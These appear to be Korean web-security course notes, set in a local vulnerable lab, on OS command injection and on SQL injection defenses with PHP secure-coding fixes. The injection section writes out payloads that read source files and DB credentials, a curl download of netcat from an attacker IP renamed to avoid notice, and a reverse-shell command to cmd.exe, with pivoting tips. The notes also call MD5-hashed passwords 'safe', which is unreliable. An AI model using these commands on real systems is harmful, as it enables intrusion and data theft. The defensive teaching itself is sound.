메타 문자를 사용하여 기존의 명령어를 수행하고 난 후에 공격자가 원하는 명령어를 수행하도록 한다.

nslookup www.test.co.kr & ifconfig

→ & 를 사용하여 www.test.co.kr 에 대한 IP를 출력 후, ifconfig로 해당 시스템의 IP를 출력하도록 한다.

실습3-1 OS Command Injection 공격 실습

실습을 위해 127.0.0.1/insecure_website 접속 후 admin 계정으로 로그인한다.

실제로 모의해킹을 하거나 웹 취약점 진단을 할때 관리자 페이지를 단독으로 진단하는 경우가 있으며, 일반적으로 계정을 제공받고 진단을 하게 된다. 사용자 입력값을 통해서 시스템 명령을 실행하는 기능은 일반 웹 사이트에는 보통 존재하지 않지만, 모의해킹을 할때 일반 웹 사이트를 진단하다보면 관리자 페이지를 찾게 된다. 이런 경우 시나리오 기반의 공격이 가능하다. SQL Injection을 통해서 관리자 페이지에 관리자로 로그인 후 추가 취약점을 탐색할 수 있다.

우측 상단의 Ping Check를 클릭한다.

입력칸을 보니 IP 입력을 통해 해당 서버를 헬스 체크 하는 용도로 사용하는 것을 알 수 있다.

192.168.56.1 을 입력 후 Check를 클릭한다. (CMD 에서 ipconfig를 통해 확인한 로컬 사설 IP)

CMD에서 ping 192.168.56.1 을 입력한 것과 동일한 결과라는 것을 알 수 있다.

& 또는 | 메타 문자를 입력 후 추가 명령어를 삽입해본다.

& (앰퍼센트) 를 사용하면 이전 명령어 실행 후 출력, 뒤에 명령어도 실행하여 출력한다.

| (파이프) 를 사용하면 이전 명령어는 실행은 되지만 출력되지 않고 뒤에 명령어만 출력된다.

echo는 텍스트를 출력하는 명령어다. echo를 통해서 Command Injection 여부를 확인할 수 있다.

192.168.56.1&echo "test"

192.168.56.1|echo "test"

CMD 에서도 동일하게 아래와 같은 결과가 출력된다.

192.168.56.1&ipconfig 를 입력한다.

현재 Windows PC의 네트워크 정보를 확인할 수 있다.

Linux/Unix 환경에서는 ifconfig 명령어를 실행해야 한다.

192.168.56.1&ver 를 입력하여 버전 정보도 확인해본다.

whoami - 현재 컴퓨터에 로그온되어 있는 계정의 정보

192.168.56.1&whoami 를 입력한다.

system 계정으로 확인이된다. (Windows 최고 권한)

시스템 권한인 경우 공격자가 할 수 있는 공격이 다양해진다.

| (파이프) 를 사용하면 이전 명령어는 실행은 되지만 출력이되지 않고 뒤에 명령어만 출력이된다.

192.168.56.1|whoami 를 입력해본다.

Windows 는 대표적으로 &, | 메타 문자를 사용하여 시스템 명령어를 삽입한다.

파일 열람 시 Windows는 type, Linux/Unix는 cat 명령어를 사용한다. (etc/passwd 및 소스코드 열람)

dir - 현재 디렉터리 및 파일 확인

192.168.56.1|dir

type 명령어를 사용하여 common.php 파일을 열람해본다. (DB 접속 정보)

192.168.56.1|type common.php

common.php 파일 내 소스코드가 출력되는 것을 확인할 수 있다.

cmd 에서는 common.php 가 있는 디렉터리의 상세경로를 입력하여 확인이 가능하다.

ping 192.168.56.1|type C:\APM_Setup\htdocs\insecure_website\common.php

실습3-2 OS Command Injection 공격을 통한 Reverse-Shell 실습

Bind Shell 과 Reverse Shell

Bind Shell(정방향 연결)

→ 서버에서 서버 포트가 열리고, 클라이언트(공격자)가 서버로 접속하여 생성하는 쉘, 일반적인 서버로 접속하는 형태

Reverse Shell(역방향 연결)

Reverse Shell을 수행하기 위해 Netcat 을 다운로드한다.

Netcat - 평문 전송

Ncat - 암호화 전송

Netcat 다운로드 링크 - 1.12 버전

https://eternallybored.org/misc/netcat/

다운로드 받으려는 순간 윈도우 디펜더에서 바이러스를 감지하여 다운로드가 불가능해진다.

디펜더를 해제하거나 VDI 환경을 새로 구성해서 Netcat 을 다운로드 받는다.

디펜터를 해제하면 로컬 PC가 취약해질 위험이 있으므로 VDI 환경을 새로 구성한다.

VDI 환경을 구성하게 되면 기존의 APM Setup 및 취약 환경을 VDI 에 다시 구축해줘야 한다.

취약한 VDI 환경 구축은 여기를 참고한다. (Windows 7 구축)

공격 프로세스는 다음과 같다.

Step 1) Netcat 프로그램 준비

Step 2) 웹 서버로 Netcat 업로드(wget, curl)

→ 127.0.0.1|curl -o nc.exe http://공격자 IP/nc.exe

Step 3) 공격자 PC Netcat 리스닝

→ nc.exe -lvp 9999

Step 4) 웹 서버에서 Netcat 명령어 실행을 통한 Reverse Shell 연결

→ nc.exe [공격자 IP] [포트] -e [Shell]

Windows - cmd.exe

Linux/Unix - /bin/sh 또는 /bin/bash

Netcat 다운로드 후 nc.exe 파일을 htdocs 폴더 내로 이동해준다. (C:\APM_Setup\htdocs)

웹 서버에 현재 netcat 이 업로드된 상태가 아니다. 서버에 netcat 이 업로드가 되면 서버에서 클라이언트(공격자) 쪽으로 연결이 가능해진다.

일반적으로 취약점 진단을 할때 netcat 을 서버에 업로드하게 된다.

클라이언트(공격자) - C:\APM_Setup\htdocs

웹 서버(피해자) - C:\APM_Setup\htdocs\insecure_website

curl - 프로토콜들을 이용해 URL 로 데이터를 전송하여 서버에 데이터를 보내거나 가져올때 사용하기 위한 명령줄 도구 및 라이브러리이다.

nc.exe 를 board.exe 로 이름을 변경한다. (nc.exe는 너무 대놓고 netcat 을 의미하므로)

[ping 명령어 IP]|curl -o [파일 이름 지정] [클라이언트 IP 주소/netcat 프로그램]

-o 옵션: curl로 받아온 내용을 지정한 이름의 파일로 저장

실제 취약점 진단을 할 때는 클라이언트(공격자) IP 주소가 사설 IP가 아닌, 외부망으로 공인 IP를 사용하게 된다.

보통 공유기 환경으로 공유기 IP를 공격자 IP와 포트포워딩 하여 진행한다.

현재 새로 구축한 VDI 환경의 로컬 IP가 10.0.2.4로 클라이언트 IP로 입력한다.

127.0.0.1|curl -o board.exe http://10.0.2.4/board.exe 를 입력하여 클라이언트(공격자)에 있는 netcat 을 서버에서 다운로드 받도록 명령한다.

아쉽게도 Windows 7에 curl 이 설치되어 있지 않아 명령어가 실행되지 않았다.

실제 로컬 PC에서는 curl 명령어 수행 시 다운로드가 가능하였다. (로컬 PC Windows 10)

curl 을 사용하여 netcat 프로그램을 서버에 업로드했다고 가정한 상태로 실습을 진행한다. (실제로는 insecure_website 폴더 내에 board.exe 를 복붙했다.)

netcat 의 실행방법은 다음과 같다. (공격자 PC 에서 포트 리스닝)

nc.exe -lvp 9999

l : 리스닝

v : 자세히 보기

p : 포트(방화벽의 Outbound 정책에 따라 결정, 정책에 빡셀수록 80 or 53 or 443 등의 주요 포트 사용)

VDI 에서 CMD창을 열고 board.exe 가 설치되어 있는 디렉터리로 이동한다. (공격자 PC)

cd C:\APM_Setup\htdocs

board.exe -lvp 9999

공격자는 9999포트로 리스닝이 되어 있는 상태이다.

nc.exe [공격자 IP] [Port] -e [Shell]

Windows - cmd.exe

Linux/Unix - /bin/sh 또는 /bin/bash

127.0.0.1|board.exe 10.0.2.4 9999 -e cmd.exe 를 입력하여 웹 서버에서 Reverse Shell 을 연결한다.

명령어 전송 이후 기존에 리스닝을 실행했던 CMD 창을 보니 연결에 실패한 것이 확인된다.

127.0.0.1 로 IP 변경 후 재시도한다. (현재 공격자는 VDI PC 그 자체이므로 127.0.0.1 이 가능)

127.0.0.1|board.exe 127.0.0.1 9999 -e cmd.exe 를 입력하여 웹 서버에서 Reverse Shell 을 연결한다.

명령어 전송 이후 기존에 리스닝을 실행했던 CMD 창을 보니 연결에 성공한 것으로 확인된다. (공격자 입장)

기존에 공격자 입장에서 실행했던 Shell 이 아닌, 웹 서버의 Shell 로 변경된 것을 확인할 수 있다.

C:\APM_Setup\htdocs → C:\APM_Setup\htdocs\insecure_website

웹 서버의 Shell 을 탈취한 것으로 whoami 명령어를 입력해본다.

ipconfig 명령어도 입력하여 정상적으로 출력되는 것을 확인할 수 있다.

웹 서버의 Shell 에서 명령어 입력이 가능한 것을 통해 Reverse Shell 이 연결된 것을 확인할 수 있다.

Reverse Shell 이 연결되면 보통 원격 터미널 연결에 성공했다라고 많이 표현한다.

취약점 진단 보고서에는 ipconfig 명령어를 입력한 캡처가 들어가게 된다.

공격자는 원격 터미널 연결에 성공하게 되면 네트워크 정보를 먼저 수집한다.

해당 웹 서버와 신뢰 관계를 맺고 있는 다른 서버들의 IP를 수집한다. (DBMS, FTP 서버 등)

arp, netstat 명령어들을 활용하며, hosts 파일을 열람하여 도메인 및 IP 정보를 수집한다.

이후 해당 웹 서버 내 중요정보를 하나하나씩 살펴본다. (DB 접속 정보 등)

서버 내 정보 수집 이후 네트워크 스캔을 하여 다른 서버 정보 수집을 한다.

Reverse Shell 이 연결된 서버는 또 다른 서버를 탐색하기 위한 경유 서버가 되며, 수집한 정보를 바탕으로 내부 네트워크 침투를 진행하게 된다. 이후 제일 먼저 침투하게 되는 서버는 DBMS 로, 이때는 터널링을 활용하게 된다.

내부 네트워크 내에서도 웹 서비스를 찾아서 취약점을 찾고, 또 다시 다른 서버로 터널링을 하여 하나씩 침투하게 된다.

방금은 curl 을 활용하여 진행하였는데, 만약 진단하는 Windows 서버 버전이 낮아서 curl 을 사용할 수 없게 되는 경우, 파일 업로드 공격을 활용하여 진행하는 것도 하나의 침투 방법이 될 수 있다.

5) 대응 방안

1. 서버 사이드 스크립트로 기능 구현

2. 사용자 입력 값 형식에 따른 정규 표현식 검증

3. 악의적인 문자 검증(필터링, 로직 중지 후 경고창 띄움)

4. 기능 제거

< 사용자 입력 값 형식에 따른 정규 표현식 검증 >

IP 형식에 맞게 정규표현식을 사용(화이트리스트 방식)

특정 포맷 활용이 불가능하다면, 사용하는 특정 문자만 허용 (화이트리스트 방식)

< 악의적인 문자 검증 >

| & \n ; ` 등 문자열 검증, 해당 문자열 입력되면 로직 중지 후 에러 메시지 출력

실습3-3 취약 환경 시큐어 코딩 적용 실습

OS Command Injection이 발생되었던 Ping Check 페이지에 대해 시큐어 코딩을 진행한다.

소스코드 위치: C:\APM_Setup\htdocs\insecure_website

< pingcheck.php 의 Action 페이지 >

<?
  include_once("./common.php");
  $ip = $_POST["ip"];
  $page = $_SERVER['REQUEST_URI'];

  if(!empty($ip)) {
	$result = shell_exec("ping {$ip}");
	$result = iconv("EUC-KR", "UTF-8", $result);
	$result = str_replace("\n", "<br>", $result);
  }
?>

IP를 받아서 IP가 있는지 확인 후 시스템 명령어(ping)를 실행하는 로직이다.

시스템 명령어가 실행되기 전에 코드를 검증하는 것이 핵심이다.

preg_match() → 주어진 정규 표현식 패턴을 사용하여 문자열 내에서 일치(match)하는 부분을 찾는다.

^ : 정규표현식 문자열 시작

$ : 정규표현식 문자열 끝

[0-9] : 0~9 까지 (숫자 범위)

{1,3} : 1개 ~ 3개 까지 (숫자 개수)

\. : IP 형식의 점

반드시 exit(); 를 사용하여 로직을 중지 시켜야한다.

로직을 중지시키지 않아 취약점이 발생할 수 있다. (설계 오류 발생)

(ex: 관리자 페이지에 접근했는데 경고창은 출력되지만 웹 프록시 도구(버프스위트)로 확인해보니 해당 로직이 이미 진행이 다 된 상태로, 경고창 스크립트만 삭제 후 접근이 가능한 경우가 있다.)

< pingcheck.php 의 Action 페이지 시큐어 코딩 적용 >

<?
  include_once("./common.php");
  $ip = $_POST["ip"];
  $page = $_SERVER['REQUEST_URI'];

  if(!empty($ip)) {
	if(!preg_match("/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/", $ip)) {
		echo "<script>alert('정상적인 입력 값이 아닙니다.');history.back(-1);</script>";
		exit();
	}

	$result = shell_exec("ping {$ip}");
	$result = iconv("EUC-KR", "UTF-8", $result);
	$result = str_replace("\n", "<br>", $result);
  }
?>

이후 pingcheck 페이지에 접속하여 확인해본다.

먼저 정상적인 입력값을 먼저 입력하여 동작 여부를 확인해본다.

192.168.56.1 IP 입력

192.168.56.1|whoami 를 입력하니 아래와 같이 에러 메시지가 출력된다.

그 외 IP 형식이 아닌 ! , ?, a 등의 문자열 입력 시 에러 메시지가 출력되는 것을 알 수 있다.

이렇게 정규표현식을 통해서 해당 입력값에 허용된 포맷만 입력하도록 설정할 수 있다.

입력 포맷이 정해져 있지 않은 경우에는 허용된 범위만 입력하도록 정규표현식을 구현하면 된다.

(숫자, 문자, 일부 특수문자 허용)

만약 허용 범위가 정확하지 않다면, 악의적인 문자를 검증하는 방법도 사용 가능하다.

OS Command Injection 3줄 요약
- 운영체제 명령어(시스템 명령어)를 입력할 수 있는 어플리케이션 기능에 시스템 명령어를 삽입하는 공격
- 메타문자 &, | 사용하여 한줄에 여러 명령어 실행
- Netcat 활용하여 Reverse Shell 연결(서버에서 Outbound 연결)

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

정규표현식 참고

https://hamait.tistory.com/342

SQL Injection 대응 방안

Security Engineer — Fri, 27 Dec 2024 22:00:20 +0900

대응 방안 개요

일반적인 방법

- 시큐어 코딩 → 근본적인 대응 방안

- 인라인 보안솔루션(IPS,WAF 등) → 한계가 있다. (우회 할 수 있음)

시큐어 코딩

1. Prepared Statement 사용

2. 사용자 입력 값 타입에 따른 입력 값 검증 로직 구현

3. 길이 제한

Prepared Statement 가 적용되어 있다면 굳이 2,3번을 적용할 필요가 없다.

3번 길이제한은 단독으로 사용하면 안된다. → 1번 or 2번과 같이 적용해야 한다.

대응 방안(1) - Prepared Statement 사용

Prepared Statement 는 SQL Injection에 대한 방어 뿐만 아니라 성능적인 이점에 의해서 많이 사용된다.

하지만 적절하게 사용하지 않는 경우 Prepared Statement 또한 취약할 수 있다.

취약한 소스코드

- Statement 를 사용하여 질의하는 방식

안전한 소스코드

- Prepared Statement 를 사용하여 프리 컴파일 후에 사용자 입력값을 바인딩해서 결과를 얻어온다.

- 프리 컴파일: 코드에 삽입된 SQL문을 DB와 연결하는 작업 수행(컴파일 전에 수행하는 작업)

SQL 구문 실행 단계

1. 구문 분석 및 정규화

2. 컴파일

3. 쿼리 최적화

4. 캐시

5. 실행

구문 분석 및 정규화

→ 쿼리 구문 및 의미를 검사

→ 쿼리에 사용된 테이블, 컬럼이 존재하는지 확인

컴파일

→ 쿼리에 사용되었던 SELECT, FROM, WHERE 절 등을 컴퓨터가 이해할 수 있는 형식으로 변환

→ 사람이 이해하는 언어에서 컴퓨터가 이해하는 언어로 변환

쿼리 최적화

→ 쿼리를 실행할 수 있는 방법을 찾기 위한 의사결정 트리가 만들어짐

→ 쿼리 실행 시 최고 효율로 실행하는 방법을 찾는다

캐시

→ 위의 3단계 결과를 캐시에 저장

→ 동일한 쿼리가 캐시에 들어올때마다 캐시에 저장된 기존 쿼리를 실행

→ 중복된 쿼리를 불필요하게 거칠 필요가 없음, 성능적 이점이 있다.

실행

→ 제공된 쿼리가 실행되고 결과를 반환

Prepared Statement 가 안전한 이유

String query = "select * from board where content like ?";

→ 쿼리가 완성되지 않은 상태에서 질의를 한다.

물음표(?)는 사용자 입력값과 치환된다.

1단계를 거칠 때는 물음표(?)는 단순 문자열이다, 아무런 역할도 없다.

2단계를 거칠 때는 물음표(?)가 나중에 사용자 입력값과 치환이 되기 위해서 PlaceHolder의 기능을 하게끔 특수처리가 된다. (컴퓨터가 알 수 있는 형식으로 특정 값으로 변환된다.)

3단계를 거치고 4단계에서 캐시에 저장이 된다. → pstmt = conn.prepareStatement(query);

컴파일된 쿼리가 캐시에 저장이 된다.

사용자가 입력한 데이터가 세팅이 될때, 미리 컴파일된 쿼리가 캐시에서 선택이 된다. (컴파일된 쿼리가 캐시에 저장되어 있음)

PlaceHolder 부분이 setString 메소드에 의해 치환이 이루어진다.

1~4단계를 거치면서 이미 컴파일을 진행하였기 때문에, 사용자 입력값(PlaceHolder)에 입력된 데이터는 순수 문자열로 처리 된다. 설령 ' and 1=1 등의 SQL 쿼리를 입력하더라도 SQL문으로 인식하지 않게 된다.

컴파일을 거치는 이유는 사람이 알 수 있는 언어에서 컴퓨터가 알 수 있는 언어로 변환하기 때문에 컴파일 이후에 입력된 SQL 구문은 컴퓨터가 이해할 수 없게 된다.

→ SQL 구문을 컴퓨터가 해석하려면 컴파일이 되어야하는데, 이미 컴파일된 구문에 사용자 입력값(PlaceHolder)만 추가됨

4단계 캐시에서는 단순히 사용자 입력값을 이미 컴파일된 쿼리에 넣기 때문에, 컴퓨터가 사용자 입력값에 포함된 SQL 쿼리를 이해하지 못하므로 SQL Injection이 발생할 수 없다.

사용자 입력값 데이터 타입에 따른 메소드

setString → 문자

setInt → 숫자

request.getParameter("idx")

→ 원래 문자형인데, Integer.parseInt 를 사용하여 String타입의 숫자를 int타입으로 변환해준다.

Prepared Statement를 안전하게 사용해야한다. 잘못 사용하면 취약할 수 있음

프리 컴파일 이전에 사용자 입력값을 바인딩하는 경우 SQL Injection에 취약하게 된다.

pstmt = conn.prepareStatement(query); 구문 이전에 "select * from board where content like '%" + keyword + "%'"; 구문을 사용하여 사용자 입력값이 바인딩되는 경우, SQL Injection에 취약하게 된다.

keyword 부분에 ' and 1=1 등의 SQL 구문이 삽입되면 컴파일되어 SQL Injection 공격이 가능해진다.

안전하게 사용하기 위해서는 PlaceHolder 를 사용하여 프리 컴파일 이후에 사용자 입력값을 바인딩해야 한다.

전통적인 자바 웹 환경에서 JDBC를 통해서 DB를 연결했는데, 오늘날의 자바 웹 환경은 프레임워크를 사용하게 된다.

iBatis, myBatis 환경에서 $,# 문자열은 다음과 같은 의미를 가진다.

$ → Statement

# → Prepared Statement

$를 #으로 변경해줘야 안전하게 사용할 수 있다.

Hibenate 같은 경우에도 콜론 : 문자를 이용하면 안전하게 사용할 수 있다.

사용자 입력 값을 통해 테이블/컬럼명을 입력 받을 경우 왜 Prepared Statement 사용이 불가능할까?

→ 테이블/컬럼명은 컴파일하여 컴퓨터가 알 수 있는 언어로 변환해야하는데, Prepared Statement를 사용하게 되면 컴파일 이후에 캐시에서 사용자 입력값(테이블/컬럼명)을 받아서 쿼리를 실행하게 되어 테이블/컬럼명은 단순 문자열로 처리되어 컴퓨터가 인식하지 못하게 된다. 그러므로 정상적인 SQL 질의가 불가능해진다.

→ 테이블/컬럼명이 컴파일되지 못하고 나중에 사용자 입력값으로 받기 때문에 컴퓨터가 인식하지 못하므로 Prepared Statement 사용이 불가능하다.

select * from ? where content like ?

select * from ㅁ where content like ㅁ

→ 어떤 테이블에서 데이터를 조회해야하는지 알 수 없음

Prepared Statement에서 setString 을 사용하는 것은 순수한 사용자 입력값만 가능하다.

키워드, 명령절 등 컴파일이 필요한(컴퓨터에 명령을 내려야하는) 부분에는 사용이 불가능하다.

사용자 입력 값을 통해 테이블/컬럼명을 입력 받을 경우 Prepared Statement 사용이 불가능하며, 이때는 사용자 입력 값 타입에 따른 입력 값 검증 로직을 구현하여 안전하게 사용할 수 있다.

대응 방안(2) - 사용자 입력 값 타입에 따른 입력 값 검증 로직 구현

사용자 입력 값 타입

- 숫자 → 숫자만 입력

- 문자 → 싱글 쿼터에 대한 검증

- 테이블/컬럼 → board, title, idx

- 키워드 → asc, desc

select * from board where title like '%test%' order by idx desc

테이블/컬럼, 키워드는 문자형 검증 하듯이 대응하면 취약하다.

싱글 쿼터 없이도 공격이 가능하다.

^ → 문자열 시작

$ → 문자열 끝

Pattern.matches → 지정된 정규식을 컴파일하고 지정된 입력과 일치시키려고 시도한다.

is_numeric → 주어진 값이 숫자 또는 숫자 문자열인지 확인하는 함수, 주어진 값이 숫자면 True 아니면 False 반환

JAVA 소스코드는 숫자일 경우에는 True, 숫자가 아닐 경우에는 False를 반환하며, if(!flag)에 의해 숫자일 경우에는 정상적으로 쿼리가 작성되며, 숫자가 아닌 경우에는 에러메시지가 표시된다.

PHP 소스코드는 숫자일 경우에는 True, 숫자가 아닐 경우에는 False를 반환하며, if(!is_numeric($seq))에 의해 숫자일 경우에는 정상적으로 쿼리가 작성되며, 숫자가 아닌 경우에는 에러메시지가 표시된다.

문자검증 소스코드(JAVA), MS-SQL, ORACLE 대응방안

' → '' 싱글쿼터 2개

" → "" 더블쿼터 2개

replace → 싱글쿼터는 싱글쿼터 2개로, 더블쿼터는 더블쿼터 2개로 바꾼다.

MySQL 같은 경우 싱글쿼터를 이스케이프 처리한다.

싱글쿼터는 특정 기능을 하는 문자인데, 만약 사용자가 싱글쿼터를 검색하고 싶으면, 싱글쿼터를 이스케이프 처리해야 한다.

싱글쿼터 2개를 입력하면 순수 사용자 데이터로 싱글쿼터 1개가 인식된다.

MySQL에서는 싱글쿼터 2개 '' , \' 를 입력하면 싱글쿼터 1개로 인식된다.

" , \' → '

만약 MySQL에서 위와 같이 싱글쿼터1개가 싱글쿼터 2개로 치환되는 대응방안을 적용했다는 가정하에,

공격자는 \'를 입력하면 SQL Injection 공격이 가능하다.

문자검증 소스코드(JAVA), MySQL 대응방안

' → '\

\ → \\

PHP 에서는 real_escape_string 을 사용하면 된다.

real_escape_string

- NULL(\x00), \n, \r, \, ', " 문자 앞(왼쪽)에 \를 붙여 사용자의 입력에 의해 악의적인 쿼리문이 실행되는 것을 막는다.

- 해당 함수가 호출되면 특정 문자를 이스케이프 처리한 후의 문자열을 반환한다.

테이블/컬럼으로 사용자 입력값을 받을 경우, 정규표현식을 활용하여 화이트리스트 형식으로 검색에 필요한 문자,숫자, 특수문자만 입력받는다.

여기에 길이제한 방식을 추가하면 SQL Injection이 더 어려워지게 된다.

테이블명에 들어가는 특수문자가 어떤게 있는지 파악한 상태에서 특정 특수문자만 허용하는 방식을 사용한다.

만약 테이블/컬럼명에 특수문자나, 숫자가 없다면 특수문자와 숫자는 제외한다.

테이블/컬럼명에 있는 문자만 허용하는 화이트리스트 방식을 사용한다.

특정 키워드는 ASC,DESC 등으로 한정되어 있다.

위의 검증은 equals 메소드를 사용하여 값을 비교하여 사용자 입력값이 바인딩되는것이 아닌, Server-Side에서 작성된게 바인딩되는 형태로 SQL Injection에 안전하다.

equals → 두 인스턴스의 주소값을 비교하여 같은 인스턴스인지 확인, 같으면 True 다르면 False 반환

대응 방안(3) - 길이 제한

사용자 입력값에 대해서 들어오는 문자의 길이를 검증하는 방법이다.

문자의 길이값이 초과되면 검증 로직에 의해 에러 메시지를 출력하는 소스코드이다.

SQL Injection 취약점은 길이 제한에 민감하다.

길이 제한 검증 방법은 일종의 보험으로 사용한다. (무조건 사용은 아니지만 할 수 있으면 한다.)

단독으로 사용하지 않고 Prepared Statement 또는 사용자 입력값 검증 로직과 같이 사용한다.

실습2-10 취약 환경 시큐어 코딩 적용 실습

시큐어 코딩 실습 전에 새로운 실습 환경을 추가한다.

→ 웹 사이트는 htdocs 폴더에 넣고 MySQL에서 DB 및 테이블을 추가하는 방식

강의 내 취약 환경 구축 자료 다운로드 후 C:\APM_Setup\htdocs 폴더 내에 압축 해제한다.

폴더명은 insecure_website2 로 변경한다. (경로: C:\APM_Setup\htdocs\insecure_website2)

압축 해제 후 common.php 내 mysql 패스워드를 test로 변경, db는 pentest2로 변경해준다. (기존에 pentest DB가 존재하므로)

insecure_website2 폴더 내 query.txt 쿼리 중 DB 생성 및 사용 쿼리를 변경해준다.

create database pentest2;

use pentest2;

create와 use 부분을 변경 후 전체 명령어를 복사해서 MySQL CMD 창에 그대로 붙여넣는다.

쿼리 복붙 후 DB, 테이블 생성 및 데이터 입력이 완료되면 insecure 홈페이지에 접속을 시도한다.

insecure_website2 에 정상적으로 접속된다.

기존의 insecure_website는 시큐어 코딩에 사용하며, 새로운 insecure_website2는 백업용으로 놔둔다.

SQL Injection에 취약한 어플리케이션 기능은 대표적으로 게시판에서 사용하는 기능들로 볼 수 있다. 검색, 게시글, 로그인, 회원가입 기능 등등

데이터베이스와 연결되어 있는 기능들은 잠재적인 SQL Injection 위협에 노출되어 있다고 볼 수 있다.

여러 페이지 중 로그인 페이지에 대한 시큐어 코딩을 진행한다.

< login.php 의 Action 페이지 >

<?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION["id"])) {
    echo "<script>location.href='index.php';</script>";
    exit();
  }

  $id = $_POST["id"];
  $password = $_POST["password"];
  
  if(!empty($id) && !empty($password)) {
    $password = md5($password);
    $query = "select * from members where id='{$id}' and password='{$password}'";
    $result = $db_conn->query($query);
    $num = $result->num_rows;

    if($num != 0) {
      $row = $result->fetch_assoc();
      $_SESSION["id"] = $row["id"];
      $_SESSION["name"] = $row["name"];
      echo "<script>location.href='index.php';</script>";
    } else {
      echo "<script>alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';</script>";
      exit();
    }
  }

패스워드는 MD5 해시함수가 적용되어 있어 따로 검증이 필요없어 보인다.

$id 입력값에 대해서 시큐어코딩을 적용한다.

코드의 위치에 따라 달라지는데 $query 뒤에 코드를 작성하게 되면 $id 값 내에 싱글쿼터가 존재한다면, 해당 구문을 종료시키는 로직으로 코드를 작성해야 한다.

$query 이전에 코드를 작성하게 되면 $id 값 내에 싱글쿼터가 존재한다면 싱글쿼터를 이스케이프 처리(싱글쿼터 기능이 아닌 단순 문자열로 인식하도록 처리)를 해야한다.

$db_conn → DB 객체 생성

real_escape_string → 문자열 이스케이프 처리

$id = $db_conn->realescape_string($id); 를 추가한다.

< login.php 의 Action 페이지 - $id 에 시큐어코딩 적용 >

<?
  $db_conn = mysql_conn();
  
  if(!empty($_SESSION["id"])) {
    echo "<script>location.href='index.php';</script>";
    exit();
  }

  $id = $_POST["id"];
  $password = $_POST["password"];
  
  if(!empty($id) && !empty($password)) { 
    $id = $db_conn->real_escape_string($id);
    $password = md5($password);
    $query = "select * from members where id='{$id}' and password='{$password}'";
    $result = $db_conn->query($query);
    $num = $result->num_rows;

    if($num != 0) {
      $row = $result->fetch_assoc();
      $_SESSION["id"] = $row["id"];
      $_SESSION["name"] = $row["name"];
      echo "<script>location.href='index.php';</script>";
    } else {
      echo "<script>alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';</script>";
      exit();
    }
  }
?>

시큐어 코딩 전에는 로그인 시 admin'# 입력 후 임의의 비밀번호를 입력하면 admin 계정으로 로그인이 가능했다.

로그인 시 서버에서 DB로 아래와 같은 SQL 구문을 요청할 것으로 예상된다.

select * from board where id='admin'#' and password=1234

시큐어 코딩이 적용된 후 싱글쿼터 ' 가 더 이상 기능을 하지 못하고 단순 문자열로 인식되므로 admin 계정에 대한 무단 로그인이 실패하게 된다.

싱글쿼터가 SQL 구문으로 삽입이 불가하므로 login.php 에 큐어 코딩이 완료되었다.

MySQL 에서 문자형일때는 \' 로 이스케이프 처리를 한다.

MSSQL, ORACLE 에서 문자형일때는 '' 더블쿼터로 이스케이프 처리를 한다.

MySQL → \'

MSSQL, ORACLE → ''

join 페이지도 취약하므로 시큐어코딩을 적용해본다.

< join.php 의 Action 페이지 >

<?
  $db_conn = mysql_conn();

  $id = $_POST["id"];
  $password1 = $_POST["password1"];
  $password2 = $_POST["password2"];
  $name = $_POST["name"];
  $email = $_POST["email"];
  $company = $_POST["company"];

  if(!empty($id) && !empty($password1) && !empty($password2) && !empty($name) && !empty($email)) {
    if($password1 != $password2) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
    }

    $password = md5($password1);

    $query = "insert into members(id, password, name, email, company) values('{$id}', '{$password}', '{$name}', '{$email}', '{$company}')";
    $result = $db_conn->query($query);

    echo "<script>alert('회원가입이 완료되었습니다.');location.href='index.php?page=login';</script>";
    exit();
  }
?>

$id, $name, $email, $company 변수가 아무런 검증 로직이 없는 것으로 보아 모두 취약하다는 것을 알 수 있다.

$password는 MD5 해시함수가 적용되어 있어 안전하다.

real_escape_string 을 각 변수에 적용해준다.

$db_conn → DB 객체 생성

real_escape_string → 문자열 이스케이프 처리

$id = $db_conn->real_escape_string($id);

$name = $db_conn->real_escape_string($name);

$email = $db_conn->real_escape_string($email);

$company = $db_conn->real_escape_string($company);

< join.php 의 Action 페이지 - 시큐어코딩 적용 >

<?
  $db_conn = mysql_conn();

  $id = $_POST["id"];
  $password1 = $_POST["password1"];
  $password2 = $_POST["password2"];
  $name = $_POST["name"];
  $email = $_POST["email"];
  $company = $_POST["company"];

  if(!empty($id) && !empty($password1) && !empty($password2) && !empty($name) && !empty($email)) {
    if($password1 != $password2) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
    }

    $id = $db_conn->real_escape_string($id);
    $name = $db_conn->real_escape_string($name); 
    $email = $db_conn->real_escape_string($email); 
    $company = $db_conn->real_escape_string($company);       
    $password = md5($password1);

    $query = "insert into members(id, password, name, email, company) values('{$id}', '{$password}', '{$name}', '{$email}', '{$company}')";
    $result = $db_conn->query($query);

    echo "<script>alert('회원가입이 완료되었습니다.');location.href='index.php?page=login';</script>";
    exit();
  }
?>

시큐어 코딩 적용 후 join 페이지에서 회원가입을 시도해본다.

정상적으로 회원가입이 되는 것을 확인할 수 있다.

로그인 페이지와 회원가입(join) 페이지는 SQL Injection에 안전한 시큐어 코딩 적용이 완료되었다.

mypage 도 시큐어 코딩 적용을 해야한다.

id 부분에 te' 'st1 를 입력하니 그대로 test1 사용자의 mypage가 확인된다.

MySQL 에서 공백은 연결연산자로 서버에서 DB로 아래와 같은 SQL 구문 요청을 할 것을 예상된다.

select * from mypage where id='te' 'st1'

< mypage.php 의 Action 페이지 >

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	$id = $_GET["id"];
	$gubun = $_POST["gubun"];

	if($gubun == "action") {
		$name = $db_conn->real_escape_string($_POST["name"]);
		$email = $db_conn->real_escape_string($_POST["email"]);
		$company = $db_conn->real_escape_string($_POST["company"]);
		$password = $_POST["password"];
		if(!empty($password)) {
			$password = md5($password);
			$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
			$result = $db_conn->query($query);
		} else {
			$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
			$result = $db_conn->query($query);
		}
